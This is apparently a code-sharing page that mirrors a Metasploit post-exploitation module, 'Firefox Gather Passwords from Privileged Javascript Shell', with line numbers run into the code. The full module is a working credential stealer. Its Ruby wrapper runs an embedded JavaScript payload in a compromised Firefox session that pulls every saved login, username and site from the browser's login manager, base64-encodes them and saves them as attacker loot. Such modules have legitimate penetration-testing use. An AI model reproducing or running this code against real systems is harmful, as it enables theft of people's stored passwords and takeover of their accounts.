Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/firefox/gather/passwords.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'json'67class MetasploitModule < Msf::Post8include Msf::Payload::Firefox9include Msf::Exploit::Remote::FirefoxPrivilegeEscalation1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Firefox Gather Passwords from Privileged Javascript Shell',16'Description' => %q{17This module allows collection of passwords from a Firefox Privileged Javascript Shell.18},19'License' => MSF_LICENSE,20'Author' => [ 'joev' ],21'DisclosureDate' => '2014-04-11'22)23)2425register_options([26OptInt.new('TIMEOUT', [true, 'Maximum time (seconds) to wait for a response', 90])27])28end2930def run31results = js_exec(js_payload)32if results.present?33begin34passwords = JSON.parse(results)35passwords.each do |entry|36entry.each_key { |k| entry[k] = Rex::Text.decode_base64(entry[k]) }37end3839if !passwords.empty?40file = store_loot('firefox.passwords.json', 'text/json', rhost, passwords.to_json)41print_good("Saved #{passwords.length} passwords to #{file}")42else43print_warning('No passwords were found in Firefox.')44end45rescue JSON::ParserError => e46print_warning(results)47end48end49end5051def js_payload52%|53(function(send){54try {55var manager = Components56.classes["@mozilla.org/login-manager;1"]57.getService(Components.interfaces.nsILoginManager);58var logins = manager.getAllLogins();59var passwords = [];60var b64 = Components.utils.import("resource://gre/modules/Services.jsm").btoa;61var fields = ['password', 'passwordField', 'username', 'usernameField',62'httpRealm', 'formSubmitURL', 'hostname'];6364var sanitize = function(passwdObj) {65var sanitized = { };66for (var i in fields) {67sanitized[fields[i]] = b64(passwdObj[fields[i]]);68}69return sanitized;70}7172// Find user from returned array of nsILoginInfo objects73for (var i = 0; i < logins.length; i++) {74passwords.push(sanitize(logins[i]));75}7677send(JSON.stringify(passwords));78} catch (e) {79send(e);80}81})(this.send);82|.strip83end84end858687